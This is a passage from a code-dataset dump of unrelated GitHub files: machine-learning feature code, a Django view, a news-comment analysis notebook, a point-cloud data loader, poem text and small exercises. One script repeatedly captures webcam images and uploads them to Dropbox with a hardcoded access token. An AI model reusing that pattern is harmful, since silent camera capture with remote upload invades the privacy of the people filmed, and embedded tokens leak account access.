src.oof_predict import out_of_fold_predict\n\n# cache\nimport os.path #Note: it might be safer to use pathlib, to make sure directory/subdirectory context is kept\nimport shelve\nfrom pickle import HIGHEST_PROTOCOL\nfrom src.cache import load_from_cache, save_to_cache\n\n#Deprecated use HTMLPreprocessor instead\ndef _clean_desc(train, test):\n def _toBeautifulText(text):\n bs =BeautifulSoup(text, \"html.parser\")\n for br in bs.find_all(\"br\"):\n br.replace_with(\" \")\n return bs.get_text()\n \n trn = train.assign(\n CleanDesc = train[\"description\"].apply(lambda x: _toBeautifulText(x))\n )\n tst = test.assign(\n CleanDesc = test[\"description\"].apply(lambda x: _toBeautifulText(x))\n )\n\n return trn,tst\n\n\n# Check for leakage in CV\ndef tr_tfidf_lsa_lgb(train, test, y, folds, cache_file):\n print(\"############# TF-IDF + LSA step ################\")\n cache_key_train = 'tfidf_lsa_lgb_train'\n cache_key_test = 'tfidf_lsa_lgb_test'\n \n #Check if cache file exist and if data for this step is cached\n dict_train, dict_test = load_from_cache(cache_file, cache_key_train, cache_key_test)\n if dict_train is not None and dict_test is not None:\n train_out = train.assign(**dict_train)\n test_out = test.assign(**dict_test)\n return train_out, test_out, y, folds, cache_file\n\n print('# No cache detected, computing from scratch #')\n vectorizer = TfidfVectorizer(max_features=2**16,\n min_df=2, stop_words='english',\n use_idf=True)\n\n \n train_raw, test_raw = _clean_desc(train, test)\n train_vect = vectorizer.fit_transform(train_raw['CleanDesc'])\n test_vect = vectorizer.transform(test_raw['CleanDesc'])\n # print(vectorizer.get_feature_names())\n \n svd = TruncatedSVD(100) #Recommended 100 dimensions for LSA\n lsa = make_pipeline(svd,\n # Normalizer(copy=False) # Not needed for trees ensemble and Leaky on CV\n )\n\n # Run SVD on the training data, then project the training data.\n X_train_lsa = lsa.fit_transform(train_vect)\n X_test_lsa = lsa.transform(test_vect)\n #explained_variance = svd.explained_variance_ratio_.sum()\n #print(\" Explained variance of the SVD step: {}%\".format(int(explained_variance * 100)))\n\n le = LabelEncoder()\n y_encode = le.fit_transform(y)\n \n \n # Separate train in train + validation data\n X_train, X_val, y_train, y_val = train_test_split(X_train_lsa, y_encode, test_size=0.2, random_state=42)\n\n # train\n gbm = LGBMClassifier(\n n_estimators=2048,\n seed=42,\n objective='multiclass',\n colsample_bytree='0.8',\n subsample='0.8'\n )\n \n # Predict out-of-folds train data\n print('Start training - Number of folds: ', len(folds))\n train_predictions = out_of_fold_predict(gbm, X_train_lsa, y_encode, folds)\n\n tfidf_train_names = {\n 'tfidf_' + le.classes_[0]: [row[0] for row in train_predictions],\n 'tfidf_' + le.classes_[1]: [row[1] for row in train_predictions],\n 'tfidf_' + le.classes_[2]: [row[2] for row in train_predictions]\n }\n \n gbm.fit(X_train,y_train,\n eval_set=[(X_val, y_val)],\n eval_metric='multi_logloss',\n early_stopping_rounds=50,\n verbose = False\n )\n \n # Now validate the predict value using the previously split validation set\n print('Start validating TF-IDF + LSA...')\n # predict\n y_pred = gbm.predict_proba(X_val, num_iteration=gbm.best_iteration)\n # eval\n print('We stopped at boosting round: ', gbm.best_iteration)\n print('The mlogloss of prediction is:', mlogloss(y_val, y_pred))\n \n # Now compute the value for the actual test data using out-of-folds predictions\n print('Start predicting TF-IDF + LSA...')\n test_predictions = gbm.predict_proba(X_test_lsa, num_iteration=gbm.best_iteration)\n \n tfidf_test_names = {\n 'tfidf_' + le.classes_[0]: [row[0] for row in test_predictions],\n 'tfidf_' + le.classes_[1]: [row[1] for row in test_predictions],\n 'tfidf_' + le.classes_[2]: [row[2] for row in test_predictions]\n }\n \n print('Caching features in ' + cache_file)\n save_to_cache(cache_file, cache_key_train, cache_key_test, tfidf_train_names, tfidf_test_names)\n \n print('Adding features to dataframe')\n train_out = train.assign(**tfidf_train_names)\n test_out = test.assign(**tfidf_test_names)\n\n\n return train_out, test_out, y, folds, cache_file","repo_name":"mratsim/Apartment-Interest-Prediction","sub_path":"src/transformers_nlp_tfidf.py","file_name":"transformers_nlp_tfidf.py","file_ext":"py","file_size_in_byte":5027,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"38"} +{"seq_id":"4665461579","text":"from django.shortcuts import render, redirect, reverse\nfrom django.http import *\nfrom django.conf import settings\nimport os\nimport models\n\n\ndef home(request:HttpRequest):\n # 没登陆直接访问 跳转到登陆界面\n if not request.session.get('is_login'):\n\t return redirect(reverse('login:login'))\n\n uid = request.session[\"uid\"]\n # 传递给模板的格式 board:{\"items\":[{\"name\":\"个人1\", \"starred\": True}], \"name\":\"个人看板\", \"icon\":\"user\"}\n\n # 获取个人看板\n person_boards = {\"name\":\"个人看板\", \"icon\":\"user\", \"items\":[], \"type\":0}\n p_board_records = models.Board.getBoardsByOwner(models.Person_Board, uid)\n for item in p_board_records:\n person_boards[\"items\"].append(item)\n\n # 获取团队看板\n teams_boards = []\n tids = models.Team_Member.getTeams(uid)\n # 对每一个团队\n for tid_dict in tids:\n tid = tid_dict[models.Team_Member.tid]\n team_name = models.Team.getRecordsByTid(tid)[0][models.Team.name] # 获取团队名字\n uids = models.Team_Member.getTeammates(tid) # 获取uid\n # 获取成员的Email列表\n teammates = []\n for i in uids:\n team_info = {}\n team_info[\"email\"] = (models.User_Login.getEmailByUid(i[models.User_Login.uid])[0][models.User_Login.email])\n team_info[\"name\"] = models.User_Info.getRecordByKey(i[models.User_Login.uid])[models.User_Info.name]\n # print(i[models.User_Login.uid], team_info[\"name\"])\n team_info[\"uid\"] = i[models.User_Login.uid]\n team_info[\"owner_id\"] = models.Team.getRecordsByTid(tid)[0][models.Team.uid]\n teammates.append(team_info)\n\n team = {\"name\":team_name, \"tid\":tid, \"icon\":\"people\", \"items\":[], \"TID\":tid, \"teammates\":teammates, \"type\":1}\n t_board_records = models.Board.getBoardsByOwner(models.Team_Board, tid)\n # 获取该团队看板\n for item in t_board_records:\n team[\"items\"].append(item)\n teams_boards.append(team)\n\n # 获取用户信息\n login_info = models.User_Login.getRecordByKey(request.session[\"email\"])[0]\n user_info = models.User_Info.getRecordByKey(uid)\n\n # 获取用户名\n user_name = user_info[models.User_Info.name]\n\n # 获取头像\n avatar_path = models.User_Info.getRecordByKey(uid)[models.User_Info.avatar]\n # 获取用户个人介绍\n user_desc = user_info[models.User_Info.description]\n \n return render(request, 'home.html', context=locals())\n\n\ndef changeTeamName(request:HttpRequest):\n \"\"\" 改变团队名字 \"\"\"\n if not request.session.get('is_login'):\n\t return HttpResponse(\"?\")\n \n response = {}\n # 状态码 status: 0 success ; 1 empty name; 2 existed;\n status = 0\n name = request.GET.get(\"name\")\n tid = int(request.GET.get(\"tid\"))\n uid = request.session[\"uid\"]\n if name == \"\":\n status = 1\n else:\n teams = models.Team.getRecordsByUid(uid)\n for team in teams:\n if name == team[models.Team.name]:\n status = 2\n break\n if status != 2:\n models.Team.changeTeamName(tid, name)\n\n response[\"status\"] = status\n response[\"name\"] = name\n return JsonResponse(response)\n\n","repo_name":"Weijun-Lin/V-Board","sub_path":"home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3237,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"38"} +{"seq_id":"33700205157","text":"# ---\n# jupyter:\n# jupytext:\n# formats: ipynb,py:percent\n# text_representation:\n# extension: .py\n# format_name: percent\n# format_version: '1.3'\n# jupytext_version: 1.11.1\n# kernelspec:\n# display_name: Python 3\n# language: python\n# name: python3\n# ---\n\n# %% [markdown]\n# # Analyze comments vs article categories #2 \n# Issue link: https://github.com/dominikmn/one-million-posts/issues/2\n\n# %%\nfrom utils import loading, feature_engineering\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib\nimport seaborn as sns\n\n# %%\ndf_posts = loading.load_extended_posts()\n\n# %%\ndf_articles = loading.load_articles()\n\n# %% [markdown]\n# ## Data preparation\n\n# %% [markdown]\n# ### Encode post labels\n\n# %%\ncols_label = [c for c in df_posts.columns if c.startswith('label_')]\n\n# %%\ndf_posts[cols_label] = df_posts[cols_label].replace({0.0:'no',1.0:'yes'})\n\n# %% [markdown]\n# ### Add path features\n\n# %%\ndf_articles = feature_engineering.add_column_path_split(df_articles, base_col='path', target_col='path_split')\ndf_articles = feature_engineering.add_column_path_depth(df_articles, base_col='path', target_col='path_depth')\n\n# %%\ndf_articles.head()\n\n# %%\ndf_posts = feature_engineering.add_column_path_split(df_posts, base_col='article_path', target_col='article_path_split')\ndf_posts = feature_engineering.add_column_path_depth(df_posts, base_col='article_path', target_col='article_path_depth')\n\n# %%\ndf_posts.head()\n\n# %% [markdown]\n# ## Articles per category\n\n# %% [markdown]\n# How many unique categories do we have?\n\n# %%\ndf_articles['path_split'].nunique()\n\n# %% [markdown]\n# How many different paths are there per depth?\n\n# %% tags=[]\ndf_articles[['path_split','path_depth']].drop_duplicates()['path_depth'].value_counts()\\\n .reset_index().rename(columns={'index':'path_depth', 'path_depth':'count'})\n\n# %% [markdown]\n# What are the paths with depth 7 and 8?\n\n# %%\ndf_articles[df_articles['path_depth'] >= 7]['path_split'].unique()\n\n# %% [markdown]\n# How many articles do we have per parent category?\n\n# %%\ndf_articles['path_split'].apply(lambda x:x[0]).value_counts()\n\n# %% [markdown]\n# For which paths have the most articles been written?\n\n# %%\ndf_articles['path_split'].value_counts()\n\n# %% [markdown]\n# ## Comments per category\n\n# %% [markdown]\n# How many _commments_ do we have per category?\n\n# %%\ndf_posts['article_path_split'].value_counts().reset_index().head(10)\n\n# %% [markdown]\n# How many _comments_ do we have per parent category?\n\n# %% tags=[]\ndf_posts['article_path_split'].apply(lambda x:x[0]).value_counts()\n\n# %% [markdown]\n# ## Comments vs Articles per path\n\n# %% [markdown]\n# How many articles and posts do we have per path?\n\n# %%\ncross_compare = df_posts.pivot_table(index='article_path', values=['id_post', 'id_article'], aggfunc='nunique')\\\n .rename(columns={'id_article':'article_count', 'id_post':'post_count'})\ncross_compare.sort_values(by=['article_count', 'post_count'], ascending=False, inplace=True)\ncross_compare\n\n# %%\nd=cross_compare[['post_count','article_count']].head(20)\nplot = plt.scatter(y=d.index, x=d['post_count'], c=d['post_count'], cmap='Reds')\nplt.clf()\nplt.colorbar(plot)\nax = sns.barplot(data=d, y=d.index, x=d['article_count'], hue='post_count', palette='Reds', dodge=False)\nax.set_ylabel('Categories')\nax.set_xlabel('Number of articles')\nax.legend_.remove()\nax.figure.set_size_inches(12,10)\n\n# %%\n# Calculate the percentage of both columns\n\n#cross_compare['article_portion'] = cross_compare['article_count']/cross_compare['article_count'].sum()*100\n#cross_compare['article_portion'] = cross_compare['article_portion'].round(3)\n#cross_compare['post_portion'] = cross_compare['post_count']/cross_compare['post_count'].sum()*100\n#cross_compare['post_portion'] = cross_compare['post_portion'].round(3)\n#cross_compare\n\n# %% [markdown]\n# ### colored by comments per article\n\n# %%\ndf_posts[\"article_path_3\"] = df_posts.article_path_split.apply(lambda x: \"/\".join(x[1:3]))\n\n\ncross_compare = df_posts.pivot_table(index='article_path_3', values=['id_post', 'id_article'], aggfunc='nunique')\\\n .rename(columns={'id_article':'article_count', 'id_post':'post_count'})\ncross_compare[\"posts_per_article\"] = (cross_compare.post_count / cross_compare.article_count).astype(int)\ncross_compare.sort_values(by=['article_count', 'posts_per_article'], ascending=False, inplace=True)\ncross_compare\n\n# %%\nfont = {'family' : 'normal',\n 'size' : 16}\nmatplotlib.rc('font', **font)\n\ncmap = sns.color_palette(\"light:#EC008E\", as_cmap=True)\npalette = sns.color_palette(\"light:#EC008E\", as_cmap=False)\nd=cross_compare[['article_count', \"posts_per_article\"]].head(20)\nplot = plt.scatter(x=d.index, y=d['posts_per_article'], c=d['posts_per_article'], cmap=cmap)\nplt.clf()\nplt.colorbar(plot)\n\nax = sns.barplot(data=d, y=d.index, x=d['article_count'], hue='posts_per_article', palette=palette, dodge=False)\nax.set_ylabel('')\nax.set_xlabel('Number of articles')\nax.legend_.remove()\nax.figure.set_size_inches(12,10)\nplt.savefig(\"../pictures/num_articles_per_category.png\", bbox_inches=\"tight\")\n\n# %% [markdown]\n# ## Comment-label per path\n\n# %%\ndf_posts_reduced = df_posts.dropna(how='all', subset=cols_label)[['article_path']+cols_label]\n\n\n# %%\ndef yes(x): return np.sum(x == 'yes')\ndef no(x): return np.sum(x == 'no')\npath_vs_label = df_posts_reduced.groupby('article_path').agg([no, yes])\n\n# %%\nsel1= [('label_inappropriate', 'yes'), ('label_discriminating', 'yes'), ('label_sentimentnegative', 'yes')]\nsel2 = [(c, 'yes') for c in cols_label]\n\n# %% [markdown]\n# What are the top 'negative' categories?\n\n# %%\npath_vs_label[sel1].sort_values(by=sel1, ascending=False).head(10)\n\n# %%\n","repo_name":"dominikmn/one-million-posts","sub_path":"notebooks/eda_posts_vs_categories.py","file_name":"eda_posts_vs_categories.py","file_ext":"py","file_size_in_byte":5689,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"1510635049","text":"import cv2, random, time, dropbox\r\nstatTime=time.time()\r\ndef take_picture():\r\n videocaptureobj = cv2.VideoCapture(0)\r\n reslt = True\r\n while(reslt):\r\n myPicNum = random.randint(0, 100000000000)\r\n ret, frame=videocaptureobj.read()\r\n imgName = 'myPic' + str(myPicNum) + '.PNG'\r\n cv2.imwrite(imgName, frame)\r\n statTime=time.time()\r\n reslt = False\r\n return imgName\r\n print('sanp Done')\r\n videocaptureobj.release()\r\n cv2.destroyAllWindows()\r\n'''take_picture()\r\nprint(statTime)'''\r\ndef upload(imgName):\r\n access_token = 'sl.A-AzZSbLmCsMzrqDOELNHl_dI7VCKDP3XHB2iK-0Rici5J-i9DvH3anQlu-subKYezm1egQM3E4jF9_xdgAPtCLlcCz8wegLO2-axnxDTnJDSre7014hnKvSIDERXDcTzGChGInlDyr2'\r\n file=imgName\r\n file_from = file\r\n file_2 = '/test/' + (imgName)\r\n db = dropbox.Dropbox(access_token)\r\n with open(file_from, 'rb') as f:\r\n db.files_upload(f.read(), file_2, mode=dropbox.files.WriteMode.overwrite)\r\ndef main():\r\n while(True):\r\n if((time.time()-statTime)>=5):\r\n name=take_picture()\r\n upload(name)\r\nmain()","repo_name":"OliverDevon/C102T2","sub_path":"C102T2.py","file_name":"C102T2.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"14422532738","text":"from __future__ import (\n division,\n absolute_import,\n with_statement,\n print_function,\n unicode_literals,\n)\nimport torch\nimport torch.utils.data as data\nfrom pointnet2.data.data_utils import angle_axis\nimport numpy as np\nimport os\nimport h5py\nimport subprocess\nimport shlex\nimport json\nfrom pointnet2.data.ModelNet40Loader import BASE_DIR\n\ndef _get_data_files(list_filename):\n with open(list_filename) as f:\n return [line.rstrip()[5:] for line in f]\n\n\ndef _load_data_file(name):\n f = h5py.File(name)\n data = f[\"data\"][:]\n label = f[\"label\"][:]\n return data, label\n\ndef prepare_data(download=True):\n mn40_data_dir = os.path.join(BASE_DIR, \"modelnet40_ply_hdf5_2048\")\n url = \"https://shapenet.cs.stanford.edu/media/modelnet40_ply_hdf5_2048.zip\"\n if download and not os.path.exists(mn40_data_dir):\n zipfile = os.path.join(BASE_DIR, os.path.basename(url))\n subprocess.check_call(\n shlex.split(\"curl {} -o {}\".format(url, zipfile))\n )\n subprocess.check_call(\n shlex.split(\"unzip {} -d {}\".format(zipfile, BASE_DIR))\n )\n subprocess.check_call(shlex.split(\"rm {}\".format(zipfile)))\n\n mn10_data_dir = os.path.join(BASE_DIR.replace('40','10'), \"modelnet10_ply_hdf5_2048\")\n if not os.path.exists(mn10_data_dir):\n label_name_10 = ['bathtub', 'bed', 'chair', 'desk', 'dresser', 'monitor', 'night_stand', 'sofa', 'table', 'toilet']\n all_label_name = open(os.path.join(mn40_data_dir,'shape_names.txt')).readlines()\n Label2Id = {it[:-1]:idx for idx,it in enumerate(all_label_name)}\n label10 = [Label2Id[name] for name in label_name_10]\n Lab40_to_Lab10 = {it:idx for idx,it in enumerate(label10)}\n os.makedirs(mn10_data_dir)\n for file_name in [\"train_files.txt\",\"test_files.txt\"]:\n files = _get_data_files(os.path.join(mn40_data_dir, file_name))\n point_list, label_list = [], []\n for f in files:\n points, labels = _load_data_file(os.path.join(BASE_DIR, f))\n sample_idx = np.array([it[0] in label10 for it in labels])\n points = points[sample_idx]\n labels = np.array([[Lab40_to_Lab10[it[0]]] for it in labels[sample_idx]]).astype(np.uint8)\n point_list.append(points)\n label_list.append(labels)\n points = np.concatenate(point_list, 0)\n labels = np.concatenate(label_list, 0)\n out_name = file_name.split('_')[0]+'.h5'\n hf = h5py.File(os.path.join(mn10_data_dir,out_name),'w')\n hf.create_dataset('data',data=points)\n hf.create_dataset('label',data=labels)\n hf.close()\n\n\nclass ModelNet10Cls(data.Dataset):\n def __init__(self, num_points, transforms=None, train=True, download=True):\n super().__init__()\n\n self.transforms = transforms\n self.data_dir = os.path.join(BASE_DIR.replace('40','10'), \"modelnet10_ply_hdf5_2048\")\n prepare_data(download)\n self.train = train\n file_name = 'train.h5' if self.train else 'test.h5'\n\n self.points, self.labels = _load_data_file(os.path.join(self.data_dir,file_name))\n self.set_num_points(num_points)\n\n def __getitem__(self, idx):\n pt_idxs = np.arange(0, self.num_points)\n np.random.shuffle(pt_idxs)\n\n current_points = self.points[idx, pt_idxs].copy()\n label = torch.from_numpy(self.labels[idx]).type(torch.LongTensor)\n\n if self.transforms is not None:\n current_points = self.transforms(current_points)\n\n return current_points, label\n\n def __len__(self):\n return self.points.shape[0]\n\n def set_num_points(self, pts):\n self.num_points = min(self.points.shape[1], pts)\n\n def randomize(self):\n pass\n\nif __name__ == \"__main__\":\n from torchvision import transforms\n import data_utils as d_utils\n\n transforms = transforms.Compose(\n [\n d_utils.PointcloudToTensor(),\n d_utils.PointcloudRotate(axis=np.array([1, 0, 0])),\n d_utils.PointcloudScale(),\n d_utils.PointcloudTranslate(),\n d_utils.PointcloudJitter(),\n ]\n )\n dset = ModelNet40Cls(16, train=True, transforms=transforms)\n print(dset[0][0])\n print(dset[0][1])\n print(len(dset))\n dloader = torch.utils.data.DataLoader(dset, batch_size=32, shuffle=True)\n","repo_name":"SuferQin/Fast-QPU","sub_path":"pointcloud/PointNet++/pointnet2/data/ModelNet10Loader.py","file_name":"ModelNet10Loader.py","file_ext":"py","file_size_in_byte":4417,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"38"} +{"seq_id":"41918757874","text":"def go(today,profit,lastDay,t,p):\n if today > lastDay: return 0\n if today == lastDay: return profit\n ret = max(go(today+1,profit,lastDay,t,p),go(today+t[today],profit+p[today],lastDay,t,p))\n return ret\nn= int(input())\nt= [0]*n\np=[0]*n\nfor i in range(n):\n t[i],p[i]= map(int,input().split())\nprint(go(0,0,n,t,p))","repo_name":"nothingct/codingTestAlgorithm","sub_path":"퇴사.py","file_name":"퇴사.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"38648492593","text":"text1 = \"The poem can start with him walking backwards into a room.\\n\\\nHe takes off his jacket and sits down for the rest of his life;\\n\\\nthat’s how we bring Dad back.\\n\\\nI can make the blood run back up my nose, ants rushing into a hole.\\n\\\nWe grow into smaller bodies, my breasts disappear,\\n\\\nyour cheeks soften, teeth sink back into gums.\\n\\\nI can make us loved, just say the word.\\n\\\nGive them stumps for hands if even once they touched us without consent,\\n\\\nI can write the poem and make it disappear.\\n\\\nStep-Dad spits liquor back into glass,\\n\\\nMum’s body rolls back up the stairs, the bone pops back into place,\\n\\\nmaybe she keeps the baby.\\n\\\nMaybe we’re okay kid?\\n\\\nI’ll rewrite this whole life and this time there’ll be so much love,\\n\\\nyou won’t be able to see beyond it.\\n\\\n\\n\\\nYou won’t be able to see beyond it,\\n\\\nI’ll rewrite this whole life and this time there’ll be so much love.\\n\\\nMaybe we’re okay kid,\\n\\\nmaybe she keeps the baby.\\n\\\nMum’s body rolls back up the stairs, the bone pops back into place,\\n\\\nStep-Dad spits liquor back into glass.\\n\\\nI can write the poem and make it disappear,\\n\\\ngive them stumps for hands if even once they touched us without consent,\\n\\\nI can make us loved, just say the word.\\n\\\nYour cheeks soften, teeth sink back into gums\\n\\\nwe grow into smaller bodies, my breasts disappear.\\n\\\nI can make the blood run back up my nose, ants rushing into a hole,\\n\\\nthat’s how we bring Dad back.\\n\\\nHe takes off his jacket and sits down for the rest of his life.\\n\\\nThe poem can start with him walking backwards into a room.\\n\\n\\n\"\n\ntext2 = \"It seems a certain fear underlies everything.\\n\\\nIf I were to tell you something profound\\n\\\nit would be useless, as every single thing I know\\n\\\nis not timeless. I am particularly risk-averse.\\n\\\n\\n\\\nI choose someone else over me every time,\\n\\\nas I'm sure they'll finish the task at hand,\\n\\\nwhich is to say that whatever is in front of us\\n\\\nwill get done if I'm not in charge of it.\\n\\\n\\n\\\nThere is a limit to the number of times\\n\\\nI can practice every single kind of mortification\\n\\\n(of the flesh?). I can turn toward you and say yes,\\n\\\nit was you in the poem. But when we met,\\n\\\n\\n\\\nyou were actually wearing a shirt, and the poem\\n\\\nwasn't about you or your indecipherable tattoo.\\n\\\nThe poem is always about me, but that one time\\n\\\nI was in love with the memory of my twenties\\n\\\n\\n\\\nso I was, for a moment, in love with you\\n\\\nbecause you remind me of an approaching\\n\\\nsubway brushing hair off my face with\\n\\\nits hot breath. Darkness. And then light,\\n\\\n\\n\\\nthe exact goldness of dawn fingering\\n\\\nthat brick wall out my bedroom window\\n\\\non Smith Street mornings when I'd wake\\n\\\nnext to godknowswho but always someone\\n\\\n\\n\\\nwho wasn't a mistake, because what kind\\n\\\nof mistakes are that twitchy and joyful\\n\\\neven if they're woven with a particular\\n\\\nthread of regret: the guy who used\\n\\\n\\n\\\nmy toothbrush without asking,\\n\\\nI walked to the end of a pier with him,\\n\\\nwould have walked off anywhere with him\\n\\\nuntil one day we both landed in California\\n\\\n\\n\\\nwhen I was still young, and going West\\n\\\nmeant taking a laptop and some clothes\\n\\\nin a hatchback and learning about produce.\\n\\\nI can turn toward you, whoever you are,\\n\\\n\\n\\\nand say you are my lover simply because\\n\\\nI say you are, and that is, I realize,\\n\\\na tautology, but this is my poem. I claim\\n\\\nnothing other than what I write, and even that,\\n\\\n\\n\\\nI'd leave by the wayside, since the only thing\\n\\\nto pack would be the candlesticks, and\\n\\\neven those are burned through, thoroughly\\n\\\nreplaceable. Who am I kidding? I don't\\n\\\n\\n\\\nown anything worth packing into anything.\\n\\\nWe are cardboard boxes, you and I, stacked\\n\\\nnowhere near each other and humming\\n\\\ndifferent tunes. It is too late to be writing this.\\n\\\n\\n\\\nI am writing this to tell you something less\\n\\\nthan neutral, which is to say I'm sorry.\\n\\\nIt was never you. It was always you:\\n\\\nyour unutterable name, this growl in my throat.\\n\\n\"\n","repo_name":"kgero/poetry-engine","sub_path":"scraper/tests/text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":4014,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"24816649697","text":"#!/usr/bin/env python3\n# -*- encoding: utf-8 -*-\n# @File : 04_homework_text_clustering.py\n# @todo : 文本聚类\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.feature_extraction import text\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.cluster import KMeans\nfrom nltk.tokenize import RegexpTokenizer\nfrom nltk.stem.snowball import SnowballStemmer\n\nfrom collections import defaultdict\n\ndata = pd.read_csv('data/abcnews-date-text.csv')\n\n# 查看重复的数据行\nprint(data[data['headline_text'].duplicated(keep=False)].sort_values('headline_text').head(8))\n# 删除重复行\ndata.drop_duplicates(inplace=True)\n\n# 2 数据预处理\n# 2.1 为向量化表示进行前处理\n# 进行自然语言处理时,必须将单词转换为机器学习算法可以利用的向量。\n# 如果目标是对文本数据进行机器学习建模,例如电影评论或推文或其他任何内容,则需要将文本数据转换为数字。此过程称为“嵌入”或“向量化”。\n# 进行向量化时,请务必记住,它不仅仅是将单个单词变成单个数字。\n# 单词可以转换为数字,整个文档就可以转换为向量。\n# 向量的维度往往不止一个,而且对于文本数据,向量通常是高维的。\n# 这是因为特征数据的每个维度将对应一个单词,而我们所处理的文档通常包含数千个���词。\n\n# 2.2 TF-IDF\n# 在信息检索中,tf–idf 或 TFIDF(term frequency–inverse document frequency)是一种数值统计,旨在反映单词对语料库中文档的重要性。\n# 在信息检索,文本挖掘和用户建模的搜索中,它通常用作加权因子。\n# tf-idf 值与单词在文档中出现的次数成正比,同时被单词在语料库中的出现频率所抵消,这有助于调整某些单词通常会更频繁出现的事实。\n# 如今,tf-idf是最流行的术语加权方案之一。在数字图书馆领域,有83%的基于文本的推荐系统使用tf-idf。\n#\n# 搜索引擎经常使用tf–idf加权方案的变体作为在给定用户查询时对文档相关性进行评分和排名的主要工具。\n# tf–idf可成功用于各种领域的停用词过滤,包括文本摘要和分类。\n#\n# 排名函数中最简单的是通过将每个查询词的tf–idf相加得出,许多更复杂的排名函数是此简单模型的变体。\n\npunc = ['.', ',', '\"', \"'\", '?', '!', ':', ';', '(', ')', '[', ']', '{', '}', \"%\"]\nstop_words = text.ENGLISH_STOP_WORDS.union(punc)\ndesc = data['headline_text'].values\n\n\n# TfidfVectorizer 使用方法详见:\n# http://scikit-learn.org/stable/modules/generated/sklearn.feature_extraction.text.TfidfVectorizer.html\nvectorizer = TfidfVectorizer(max_df=0.8, max_features=200000,stop_words = stop_words)\nX = vectorizer.fit_transform(desc)\nword_features = vectorizer.get_feature_names()\nprint(len(word_features))\nprint(word_features[:50])\n\n# 2.3 Stemming\n# stemming 是将单词还原为词干(即词根形式)的过程。\n# 词根形式不一定是单词本身,而是可以通过连接正确的后缀来生成单词。\n# 例如,“fish”,“fishes”和“fishing”这几个词的词干都是“fish”,这是一个正确的单词。\n# 另一方面,“study”,“studies”和“studying”一词源于“studi”,这不是一个正确的英语单词。\n\n# 2.4 Tokenizing\n# Tokenization 将句子分解为单词和标点符号\n\n# SnowballStemmer 使用方法详见: https://www.kite.com/python/docs/nltk.SnowballStemmer\nstemmer = SnowballStemmer('english')\n# RegexpTokenizer 使用方法详见: https://www.kite.com/python/docs/nltk.RegexpTokenizer\ntokenizer = RegexpTokenizer(r'[a-zA-Z\\']+')\n\n\ndef tokenize(text):\n \"\"\"先进行 stemming 然后 tokenize\n params:\n text: 一个句子\n\n return:\n tokens 列表\n \"\"\"\n return [stemmer.stem(s) for s in tokenizer.tokenize(text)]\n\n\n# 2.5 使用停用词、stemming 和自定义的 tokenizing 进行 TFIDF 向量化\nvectorizer2 = TfidfVectorizer(stop_words=stop_words, tokenizer=tokenize)\nX2 = vectorizer2.fit_transform(desc)\nword_features2 = vectorizer2.get_feature_names()\nprint(len(word_features2))\nprint(word_features2[:50])\n\nvectorizer3 = TfidfVectorizer(stop_words=stop_words, tokenizer=tokenize, max_features=1000)\nX3 = vectorizer3.fit_transform(desc)\nwords = vectorizer3.get_feature_names()\nprint(len(words))\nprint(word_features2[:50])\n\n\n# 3 K-Means 聚类\n# 3.1 使用手肘法选择聚类簇的数量\n# 随着聚类数k的增大,样本划分会更加的精细,每个簇的聚合程度会逐渐提高,那么误差平方和SSE自然会逐渐变小,\n# 并且当k小于真实的簇类数时,由于k的增大会大幅增加每个簇的聚合程度,因此SSE的下降幅度会很大,\n# 而当k到达真实聚类数时,再增加k所得到的聚合程度回报会迅速变小,所以SSE的下降幅度会骤减,\n# 然后随着k值的继续增大而趋于平缓,也就是说SSE和k的关系类似于手肘的形状,而这个肘部对应的k值就是数据的真实聚类数.\n# 因此这种方法被称为手肘法.\n\n\ndef elbow_method(n_cluster):\n wcss = []\n for n in range(1, n_cluster):\n kmeans = KMeans(n_clusters=n)\n kmeans.fit(X3)\n wcss.append(kmeans.inertia_)\n plt.plot(range(1, n_cluster), wcss)\n plt.title('The Elbow Method')\n plt.xlabel('Number of clusters')\n plt.ylabel('WCSS')\n plt.savefig('elbow.png')\n plt.show()\n\n\ndef classifier(X, n_clusters, n_init=20, n_jobs=2, max_iter=300, random_state=0, every_class_word=25):\n kmeans = KMeans(n_clusters=n_clusters, n_init=n_init, n_jobs=n_jobs, max_iter=max_iter, random_state=random_state)\n kmeans.fit(X)\n common_words = kmeans.cluster_centers_.argsort()[:, -1: 0 if every_class_word == -1 else -(every_class_word + 1):-1]\n result = defaultdict(list)\n for num, centroid in enumerate(common_words):\n print(str(num) + ' : ' + ', '.join(words[word] for word in centroid))\n result[num] = [words[word] for word in centroid]\n return result\n\n\nif __name__ == '__main__':\n\n # 3.2 Clusters 等于 3\n elbow_method(25)\n classifier(X3, 3)\n # 3.3 Clusters 等于 5\n classifier(X3, 5)\n # 3.4 Clusters 等于 6\n classifier(X3, 6)\n # 3.5 Clusters 等于 8\n classifier(X3, 8)\n # 3.6 Clusters 等于 10\n classifier(X3, 10)","repo_name":"happiless/God-Of-AI","sub_path":"com/happiless/02_ai_core/02_机器学习/01_非监督学习_kmeans/04_homework_text_clustering.py","file_name":"04_homework_text_clustering.py","file_ext":"py","file_size_in_byte":6381,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"6012080889","text":"\"\"\"\r\nThis example demonstrates using the type() command to check the data type of\r\nvariables.\r\n\"\"\"\r\n\r\ndef double(x):\r\n if type(x) == int or type(x) == float:\r\n print( 2 * x )\r\n else:\r\n print(\"Hey, give me a 